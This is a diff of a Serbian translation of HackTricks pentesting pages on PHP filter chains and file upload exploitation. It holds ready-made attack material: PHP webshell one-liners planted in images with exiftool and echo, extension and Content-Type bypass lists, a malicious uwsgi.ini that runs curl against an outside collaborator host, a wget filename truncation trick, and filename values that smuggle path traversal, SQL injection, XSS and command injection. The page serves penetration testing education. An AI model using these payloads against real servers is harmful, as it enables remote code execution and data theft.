> **Includes** obično rade stvari kao što je **appending ".php" at the end** fajla, što može otežati eksploataciju jer biste morali naći .php fajl sa sadržajem koji ne prekida exploit... ili možete jednostavno koristiti `php://temp` kao resurs jer mu se može **have anything appended in the name** (npr. +".php") i to će i dalje omogućiti exploit da radi!
|
||||
|
||||
## Kako takođe dodati sufikse rezultujućim podacima
|
||||
|
||||
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) kako možete i dalje zloupotrebiti PHP filters da dodate sufikse rezultujućem stringu. Ovo je korisno ako izlaz treba da ima neki specifičan format (npr. json ili dodavanje PNG magic bytes)
|
||||
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) how you can still abuse PHP filters to add suffixes to the resulting string. Ovo je korisno ako izlaz treba da ima neki specifičan format (npr. json ili dodavanje nekih PNG magic bytes).
|
||||
|
||||
## Automatski alati
|
||||
|
||||
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
|
||||
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
|
||||
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(može dodavati sufikse)**
|
||||
|
||||
## Potpuni skript
|
||||
```python
|
||||
@ -96,7 +96,7 @@ print(r.text)
|
||||
```
|
||||
### Poboljšanja
|
||||
|
||||
Prethodni script je ograničen na base64 karaktere potrebne za taj payload. Zbog toga sam napisao sopstveni script da **bruteforce all the base64 characters**:
|
||||
Prethodni skript je ograničen na base64 karaktere potrebne za taj payload. Zato sam napisao sopstveni skript koji će **bruteforce all the base64 characters**:
|
||||
```php
|
||||
conversions = {
|
||||
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
|
||||
@ -165,7 +165,7 @@ conversions = {
|
||||
'=': ''
|
||||
}
|
||||
```
|
||||
Evo **script** za dobijanje kodiranja koja generišu svako b64 slovo:
|
||||
Evo **skripte** koja generiše enkodiranja za svako b64 slovo:
|
||||
```php
|
||||
<?php
|
||||
|
||||
@ -254,7 +254,7 @@ find_vals($init);
|
||||
## Više referenci
|
||||
|
||||
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
|
||||
- [Umetnost PHP-a: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,8 +1,8 @@
|
||||
# Upload fajlova
|
||||
# Otpremanje fajlova
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Opšta metodologija za Upload fajlova
|
||||
## Opšta metodologija za otpremanje fajlova
|
||||
|
||||
Other useful extensions:
|
||||
|
||||
@ -17,36 +17,36 @@ Other useful extensions:
|
||||
|
||||
### Zaobilaženje provere ekstenzija fajlova
|
||||
|
||||
1. Ako su na snazi, proverite prethodno navedene ekstenzije. Takođe ih testirajte koristeći velika slova: _pHp, .pHP5, .PhAr ..._
|
||||
2. Proverite dodavanje važeće ekstenzije pre izvršne ekstenzije (koristite prethodno navedene ekstenzije takođe):
|
||||
- _file.png.php_
|
||||
1. Ako se primenjuju, proveri prethodne ekstenzije. Takođe testiraj ih koristeći velika slova: _pHp, .pHP5, .PhAr ..._
|
||||
2. Proveri dodavanje validne ekstenzije pre ekstenzije za izvršavanje (koristi prethodne ekstenzije takođe):
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Pokušajte da dodate specijalne karaktere na kraj. Možete koristiti Burp za **bruteforce** svih **ascii** i **Unicode** karaktera. (_Napomena: možete takođe pokušati da koristite prethodno pomenute ekstenzije_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
- _file.php%0d%0a_
|
||||
- _file.php/_
|
||||
- _file.php.\\_
|
||||
- _file._
|
||||
- _file.php...._
|
||||
3. Pokušaj da dodaš specijalne karaktere na kraj. Možeš koristiti Burp da **bruteforce-uješ** sve ascii i Unicode karaktere. (_Napomena: možeš takođe pokušati da iskoristiš prethodno pomenute ekstenzije_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
- _file.php%0d%0a_
|
||||
- _file.php/_
|
||||
- _file.php.\\_
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Pokušajte da zaobiđete zaštite tako što ćete prevariti parser ekstenzija na serveru tehnikama poput dupliranja ekstenzije ili ubacivanja smeća (null bajtova) između ekstenzija. _Možete takođe koristiti prethodne ekstenzije da pripremite bolji payload._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
- _file.php%00.png_
|
||||
- _file.php\x00.png_
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
4. Pokušaj da zaobiđeš zaštite zavaravanjem parsera ekstenzija na serveru tehnikama kao što su dupliranje ekstenzije ili dodavanje beskorisnih podataka (null bajtova) između ekstenzija. _Možeš takođe koristiti prethodne ekstenzije da pripremiš bolji payload._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
- _file.php%00.png_
|
||||
- _file.php\x00.png_
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. Dodajte još jedan sloj ekstenzija na prethodnu proveru:
|
||||
- _file.png.jpg.php_
|
||||
5. Dodaj još jedan sloj ekstenzija na prethodnu proveru:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Pokušajte da stavite exec ekstenziju pre važeće ekstenzije i nadate se da je server pogrešno konfigurisan. (korisno za eksploatisanje Apache konfiguracionih grešaka gde će bilo šta sa ekstenzijom **.php**, ali ne nužno završeno sa .php, izvršiti kod):
|
||||
6. Pokušaj da staviš exec ekstenziju pre validne ekstenzije i nadaj se da je server pogrešno konfigurisan. (korisno za iskorišćavanje Apache misconfiga gde će sve što sadrži ekstenziju **.php**, ali ne mora nužno da se završava sa .php, izvršiti kod):
|
||||
- _ex: file.php.png_
|
||||
7. Korišćenje NTFS alternate data stream (ADS) na Windowsu. U tom slučaju, dvotačka ":" će biti ubačena posle zabranjene ekstenzije i pre dozvoljene. Kao rezultat, kreiraće se **prazan fajl sa zabranjenom ekstenzijom** na serveru (npr. "file.asax:.jpg"). Ovaj fajl se kasnije može izmeniti drugim tehnikama, kao što je korišćenje njegovog short filename. Šablon "**::$data**” se takođe može koristiti za kreiranje ne-praznih fajlova. Dakle, dodavanje tačke posle ovog šablona može biti korisno za zaobilaženje daljih ograničenja (npr. "file.asp::$data.")
|
||||
8. Pokušajte da prekoračite limite imena fajla. Važeća ekstenzija se iseca, a zlonamerni PHP ostaje. AAA<--SNIP-->AAA.php
|
||||
7. Korišćenje NTFS alternate data stream (ADS) u Windows-u. U ovom slučaju, nakon zabranjene ekstenzije biće umetnut karakter kolon ":” pre dozvoljene ekstenzije. Kao rezultat, na serveru će biti kreiran **prazan fajl sa zabranjenom ekstenzijom** (npr. "file.asax:.jpg”). Ovaj fajl se kasnije može izmeniti koristeći druge tehnike kao što je korišćenje njegovog short filename-a. Pattern "**::$data**” može takođe biti upotrebljen za kreiranje ne-praznih fajlova. Zato dodavanje tačke nakon ovog pattern-a može pomoći da se zaobiđu dalje restrikcije (npr. "file.asp::$data.”)
|
||||
8. Pokušaj da prekoračiš ograničenja imena fajla. Validna ekstenzija biva isečena. Maliciozni PHP ostaje. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
@ -59,56 +59,56 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Zaobilaženje Content-Type, Magic Number, Compression & Resizing
|
||||
### Zaobilaženje Content-Type, magic number, kompresije i promene veličine
|
||||
|
||||
- Zaobiđite Content-Type provere tako što ćete vrednost Content-Type header-a postaviti na: _image/png_, _text/plain_, _application/octet-stream_
|
||||
- Zaobidji provere Content-Type postavljanjem vrednosti Content-Type header-a na: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Zaobiđite proveru magic number tako što ćete na početak fajla dodati bajtove pravog image fajla (zbunite naredbu _file_). Ili ubacite shell unutar metadata:\
|
||||
- Zaobidji proveru magic number tako što ćeš na početak fajla dodati bajtove prave slike (zavesti komandu _file_). Ili ubaci shell u metadata:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` ili možete direktno ubaciti payload u sliku:\
|
||||
`\` ili možeš direktno ubaciti payload u sliku:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Ako se nad vašu sliku primenjuje kompresija, na primer koristeći neke standardne PHP biblioteke kao što je [PHP-GD](https://www.php.net/manual/fr/book.image.php), prethodne tehnike možda neće biti korisne. Međutim, možete koristiti PLTE chunk [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **preživeti kompresiju**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Web stranica takođe može promeniti dimenzije slike koristeći, na primer, PHP-GD funkcije `imagecopyresized` ili `imagecopyresampled`. Međutim, možete koristiti IDAT chunk [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **preživeti kompresiju**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Još jedna tehnika za kreiranje payload-a koji **preživi promenu dimenzija slike**, koristeći PHP-GD funkciju `thumbnailImage`. Takođe, možete koristiti tEXt chunk [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **preživeti kompresiju**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
- Ako se nad tvoju sliku primenjuje kompresija, na primer korišćenjem standardnih PHP biblioteka kao što je [PHP-GD](https://www.php.net/manual/fr/book.image.php), prethodne tehnike neće biti korisne. Međutim, možeš koristiti PLTE chunk [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubaciš tekst koji će **preživeti kompresiju**.
|
||||
- [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Web stranica takođe može menjati dimenzije slike koristeći, na primer, PHP-GD funkcije `imagecopyresized` ili `imagecopyresampled`. Međutim, možeš koristiti IDAT chunk [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubaciš tekst koji će **preživeti kompresiju**.
|
||||
- [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Još jedna tehnika da se napravi payload koji **preživi menjanje veličine slike**, koristeći PHP-GD funkciju `thumbnailImage`. Takođe se može koristiti tEXt chunk [**tehnika definisana ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubaciš tekst koji će **preživeti kompresiju**.
|
||||
- [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Druge provere / trikovi
|
||||
### Ostali trikovi za proveru
|
||||
|
||||
- Pronađite ranjivost koja omogućava **preimenovanje** već uploadovanog fajla (da promenite ekstenziju).
|
||||
- Pronađite **Local File Inclusion** ranjivost da izvršite backdoor.
|
||||
- **Mogući otkrivanje informacija**:
|
||||
1. Uploadujte **više puta** (i u **isto vreme**) isti fajl sa istim imenom
|
||||
2. Uploadujte fajl sa imenom fajla ili foldera koji već postoji
|
||||
3. Upload fajla sa imenom **"." , ".." ili "..."**. Na primer, na Apache-u u **Windows**, ako aplikacija čuva upload-ovane fajlove u "/www/uploads/" direktorijumu, fajl sa imenom "." će kreirati fajl nazvan "uploads" u "/www/" direktorijumu.
|
||||
4. Upload fajla koji se možda neće lako obrisati kao što je **"…:.jpg"** na **NTFS**. (Windows)
|
||||
5. Upload fajla na **Windows** sa nevažećim karakterima u imenu kao što su `|<>*?”`. (Windows)
|
||||
6. Upload fajla na **Windows** koristeći rezervisana (zabranjena) imena kao što su CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
|
||||
- Pokušajte takođe da uploadujete izvršni fajl (.exe) ili .html (manje sumnjivo) koji će izvršiti kod kada ga žrtva slučajno otvori.
|
||||
- Pronađi ranjivost koja omogućava preimenovanje već otpremljenog fajla (da promeniš ekstenziju).
|
||||
- Pronađi Local File Inclusion ranjivost da izvršiš backdoor.
|
||||
- Moguća otkrivanja informacija:
|
||||
1. Otpremi više puta (i u isto vreme) isti fajl sa istim imenom
|
||||
2. Otpremi fajl sa imenom fajla ili foldera koji već postoji
|
||||
3. Otpremanje fajla sa imenom "." , ".." ili "..." . Na primer, u Apache na Windows-u, ako aplikacija snima otpremljene fajlove u "/www/uploads/" direktorijum, fajl sa imenom "." će kreirati fajl "uploads" u "/www/" direktorijumu.
|
||||
4. Otpremi fajl koji se teško briše, kao što je "…:.jpg" u NTFS-u. (Windows)
|
||||
5. Otpremi fajl u Windows-u sa nevažećim karakterima kao što su `|<>*?”` u imenu. (Windows)
|
||||
6. Otpremi fajl u Windows-u koristeći rezervisana (zabranjena) imena kao CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
|
||||
- Takođe pokušaj da otpremiš izvršni fajl (.exe) ili .html (manje sumnjivo) koji će izvršiti kod kada žrtva slučajno otvori fajl.
|
||||
|
||||
### Specijalni trikovi sa ekstenzijama
|
||||
|
||||
Ako pokušavate da uploadujete fajlove na **PHP server**, [pogledajte .htaccess trik za izvršavanje koda](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Ako pokušavate da uploadujete fajlove na **ASP server**, [pogledajte .config trik za izvršavanje koda](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
Ako pokušavaš da otpremiš fajlove na PHP server, pogledaj .htaccess trik za izvršavanje koda: [https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Ako pokušavaš da otpremiš fajlove na ASP server, pogledaj .config trik za izvršavanje koda (../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Fajlovi sa ekstenzijom `.phar` su slični `.jar` za Java, ali za PHP, i mogu se **koristiti kao php fajl** (izvršavajući ga sa php-om, ili uključivanjem u skriptu...).
|
||||
Fajlovi `.phar` su kao `.jar` za java, ali za php, i mogu se koristiti kao php fajl (izvršavajući ih sa php, ili uključujući ih unutar skripta...)
|
||||
|
||||
Ekstenzija `.inc` se ponekad koristi za php fajlove koji služe samo za **import fajlova**, tako da bi, u nekom trenutku, neko mogao dozvoliti da se **ova ekstenzija izvršava**.
|
||||
Ekstenzija `.inc` se ponekad koristi za php fajlove koji služe samo za import fajlova, tako da je moguće da je neko dozvolio izvršavanje ove ekstenzije.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Ako možete uploadovati XML fajl na Jetty server možete dobiti [RCE zato što se **novi \*.xml i \*.war automatski procesuiraju**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Dakle, kao što je pomenuto na sledećoj slici, upload-ujte XML fajl u `$JETTY_BASE/webapps/` i očekujte shell!
|
||||
Ako možeš da otpremiš XML fajl na Jetty server, možeš dobiti [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Dakle, kao što je prikazano na sledećoj slici, otpremi XML fajl u `$JETTY_BASE/webapps/` i očekuj shell!
|
||||
|
||||
.png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
Za detaljno istraživanje ove ranjivosti pogledajte originalno istraživanje: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
Za detaljno objašnjenje ove ranjivosti pogledaj originalno istraživanje: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Remote Command Execution (RCE) ranjivosti mogu se eksploatisati na uWSGI serverima ako imate mogućnost da izmenite `.ini` konfiguracioni fajl. uWSGI konfiguracioni fajlovi koriste specifičnu sintaksu za uključivanje "magic" varijabli, placeholder-a i operatora. Posebno, '@' operator, korišćen kao `@(filename)`, namenjen je za uključivanje sadržaja fajla. Među raznim podržanim šemama u uWSGI-ju, "exec" shema je posebno moćna, omogućavajući čitanje podataka sa standardnog izlaza procesa. Ova funkcionalnost se može manipulisati u zlonamerne svrhe kao što su Remote Command Execution ili Arbitrary File Write/Read kada se `.ini` konfiguracioni fajl procesuira.
|
||||
Remote Command Execution (RCE) ranjivosti se mogu iskoristiti na uWSGI serverima ako napadač ima mogućnost da modifikuje `.ini` konfiguracioni fajl. uWSGI konfiguracioni fajlovi koriste specifičnu sintaksu da uključe "magic" varijable, placeholdere i operatore. Posebno, '@' operator, korišćen kao `@(filename)`, dizajniran je da uključi sadržaj fajla. Među različitim podržanim scheme-ama u uWSGI, "exec" scheme je posebno moćna, jer omogućava čitanje podataka iz standardnog output-a procesa. Ova funkcionalnost se može iskoristiti u zlonamerne svrhe kao što su Remote Command Execution ili Arbitrary File Write/Read kada se `.ini` konfiguracioni fajl obradi.
|
||||
|
||||
Razmotrite sledeći primer zlonamernog `uwsgi.ini` fajla, koji pokazuje različite sheme:
|
||||
Razmotri sledeći primer zlonamernog `uwsgi.ini` fajla, koji pokazuje različite scheme:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -126,13 +126,13 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Izvršavanje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti restartovan (potencijalno nakon pada ili zbog Denial of Service napada) ili datoteka mora biti podešena na auto-reload. Auto-reload funkcija, ako je omogućena, ponovo učitava datoteku u određenim intervalima pri detekciji promena.
|
||||
Izvršavanje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti restartovan (moguće nakon pada ili zbog Denial of Service napada) ili datoteka mora biti podešena da se auto-reload-uje. Funkcija auto-reload, ako je omogućena, ponovo učitava datoteku u zadatim intervalima kada detektuje promene.
|
||||
|
||||
Ključno je razumeti labavu prirodu parsiranja konfiguracione datoteke uWSGI-ja. Konkretno, diskutovani payload može biti ubačen u binarnu datoteku (na primer sliku ili PDF), čime se dodatno širi opseg potencijalne eksploatacije.
|
||||
Ključno je razumeti labavu prirodu parsiranja konfiguracione datoteke od strane uWSGI-a. Konkretno, diskutovani payload može biti umetnut u binarnu datoteku (kao što je slika ili PDF), što dodatno proširuje opseg potencijalne eksploatacije.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
U nekim slučajevima možete otkriti da server koristi **`wget`** za **preuzimanje fajlova** i da možete **navesti** **URL**. U tim slučajevima, kod može proveravati da li je ekstenzija preuzetih fajlova na whitelist-i kako bi osigurao da će biti preuzeti samo dozvoljeni fajlovi. Međutim, **ova provera se može zaobići.**\
|
||||
Ponekad možete otkriti da server koristi **`wget`** da **preuzme fajlove** i da možete **navesti** **URL**. U tim slučajevima, kod može proveravati da li je ekstenzija preuzetih fajlova u whitelist-i kako bi se osiguralo da će biti preuzeti samo dozvoljeni fajlovi. Međutim, **ova provera se može zaobići.**\
|
||||
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
@ -160,29 +160,29 @@ Note that **another option** you may be thinking of to bypass this check is to m
|
||||
|
||||
## Alati
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) je moćan alat dizajniran da pomogne Pentesters i Bug Hunters u testiranju file upload mehanizama. On koristi razne bug bounty techniques da pojednostavi proces identifikovanja i eksploatisanja ranjivosti, obezbeđujući temeljne procene web aplikacija.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) je moćan alat dizajniran da pomogne Pentesters i Bug Hunters u testiranju file upload mehanizama. On koristi različite bug bounty techniques da pojednostavi proces identifikacije i eksploatacije ranjivosti, obezbeđujući temeljne procene web aplikacija.
|
||||
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
### Korupcija upload indeksa pomoću snprintf quirks (istorijski)
|
||||
|
||||
Neki legacy upload handleri koji koriste `snprintf()` ili slično da bi sastavili multi-file nizove iz single-file uploada mogu biti prevareni da falsifikuju strukturu `_FILES`. Zbog nekonzistentnosti i skraćivanja u ponašanju `snprintf()`, pažljivo konstruisan pojedinačni upload može izgledati kao više indeksiranih fajlova na serverskoj strani, zbunjujući logiku koja pretpostavlja strogi oblik (npr. tretira ga kao multi-file upload i ulazi u nesigurne grane). Iako danas retko, ovaj obrazac “index corruption” povremeno se pojavljuje u CTF-ovima i starijim kod bazama.
|
||||
Neki legacy upload handler-i koji koriste `snprintf()` ili slične funkcije da izgrade multi-file nizove iz jednog single-file upload-a mogu biti prevareni da falsifikuju `_FILES` strukturu. Zbog nekonzistentnosti i skraćivanja u ponašanju `snprintf()`, pažljivo konstruisan single upload može izgledati kao više indeksiranih fajlova na strani servera, zbunjujući logiku koja pretpostavlja striktan oblik (npr. tretira ga kao multi-file upload i ulazi u nesigurne grane). Iako danas manje rasprostranjen, ovaj “index corruption” pattern povremeno se pojavljuje u CTF-ovima i starijim codebases.
|
||||
|
||||
## From File upload to other vulnerabilities
|
||||
## Od File upload do drugih ranjivosti
|
||||
|
||||
- Postavi **filename** na `../../../tmp/lol.png` i pokušaj da postigneš **path traversal**
|
||||
- Postavi **filename** na `sleep(10)-- -.jpg` i možda ćeš moći da postigneš **SQL injection**
|
||||
- Postavi **filename** na `<svg onload=alert(document.domain)>` da postigneš **XSS**
|
||||
- Postavi **filename** na `; sleep 10;` da testiraš neku command injection (više [command injections tricks here](../command-injection.md))
|
||||
- Postavi **filename** na `../../../tmp/lol.png` i pokušaj da ostvariš **path traversal**
|
||||
- Postavi **filename** na `sleep(10)-- -.jpg` i možda ćeš moći da ostvariš **SQL injection**
|
||||
- Postavi **filename** na `<svg onload=alert(document.domain)>` da ostvariš **XSS**
|
||||
- Postavi **filename** na `; sleep 10;` da testiraš command injection (more [command injections tricks here](../command-injection.md))
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Isprobaj **different svg payloads** sa [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- Probaj **different svg payloads** sa [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Ako možeš naterati web server da preuzme sliku sa URL-a, možeš pokušati da zloupotrebiš [SSRF](../ssrf-server-side-request-forgery/index.html). Ako će ta **image** biti **saved** na nekom **public** sajtu, možeš takođe navesti URL sa [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **steal information of every visitor**.
|
||||
- Ako možeš naložiti web server da učita image sa URL-a, možeš pokušati da zloupotrebiš [SSRF](../ssrf-server-side-request-forgery/index.html). Ako će ta **image** biti **saved** na nekom **public** sajtu, takođe možeš navesti URL sa [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukrasti informacije svakog posetioca**.
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Specijalno oblikovani PDF-ovi za XSS: [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Ako možeš upload-ovati PDF-ove, mogao bi pripremiti PDF koji će izvršiti proizvoljan JS prateći date instrukcije.
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content da proveriš da li server ima neki **antivirus**
|
||||
- Proveri da li postoji neko **size limit** pri uploadu fajlova
|
||||
- Specijalno crafted PDFs za XSS: sledeća stranica prikazuje kako da **inject PDF data to obtain JS execution** (pogledaj [following page](../xss-cross-site-scripting/pdf-injection.md)). Ako možeš upload-ovati PDFs, možeš pripremiti PDF koji će izvršiti proizvoljan JS prateći date instrukcije.
|
||||
- Upload-uj sadržaj \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) da proveriš da li server koristi neki **antivirus**
|
||||
- Proveri da li postoji neki **size limit** pri uploadovanju fajlova
|
||||
|
||||
Evo top 10 liste stvari koje možeš postići upload-ovanjem (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
@ -204,37 +204,37 @@ Evo top 10 liste stvari koje možeš postići upload-ovanjem (from [here](https:
|
||||
https://github.com/portswigger/upload-scanner
|
||||
{{#endref}}
|
||||
|
||||
## Magic Header Bytes
|
||||
## Magični početni bajtovi
|
||||
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
|
||||
Pogledaj [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) za druge tipove fajlova.
|
||||
|
||||
## Zip/Tar File Automatically decompressed Upload
|
||||
## Zip/Tar fajl koji se automatski dekompresuje pri Upload-u
|
||||
|
||||
Ako možeš upload-ovati ZIP koji će biti dekompresovan na serveru, možeš uraditi 2 stvari:
|
||||
|
||||
### Symlink
|
||||
|
||||
Upload-uj arhivu koja sadrži soft linkove ka drugim fajlovima; pristupanjem dekompresovanim fajlovima ćeš dobiti pristup linkovanim fajlovima:
|
||||
Upload-uj arhivu koja sadrži soft links ka drugim fajlovima; pri pristupu dekompresovanim fajlovima, pristupićeš linked files:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Dekompresovanje u različite direktorijume
|
||||
### Dekompresija u različite foldere
|
||||
|
||||
Neočekivano kreiranje fajlova u direktorijumima tokom dekompresije predstavlja značajan problem. Iako se na prvi pogled može pretpostaviti da ovakvo podešavanje štiti od izvršavanja OS-level komandi putem zlonamernih upload-ovanih fajlova, hijerarhijska podrška za kompresovane arhive i mogućnosti directory traversal u ZIP archive format-u mogu se iskoristiti. To napadačima omogućava da zaobiđu ograničenja i pobegnu iz sigurnih direktorijuma za upload manipulacijom funkcije dekompresije ciljne aplikacije.
|
||||
Neočekivano kreiranje fajlova u direktorijumima tokom dekompresije predstavlja značajan problem. I pored početnih pretpostavki da ovo podešavanje može da štiti od OS-level command execution kroz malicious file uploads, podrška za hijerarhijsko kompresovanje i mogućnosti directory traversal formata ZIP arhiva mogu se iskoristiti. To omogućava napadačima da zaobiđu ograničenja i pobegnu iz sigurnih upload direktorijuma manipulisanjem funkcionalnošću dekompresije ciljne aplikacije.
|
||||
|
||||
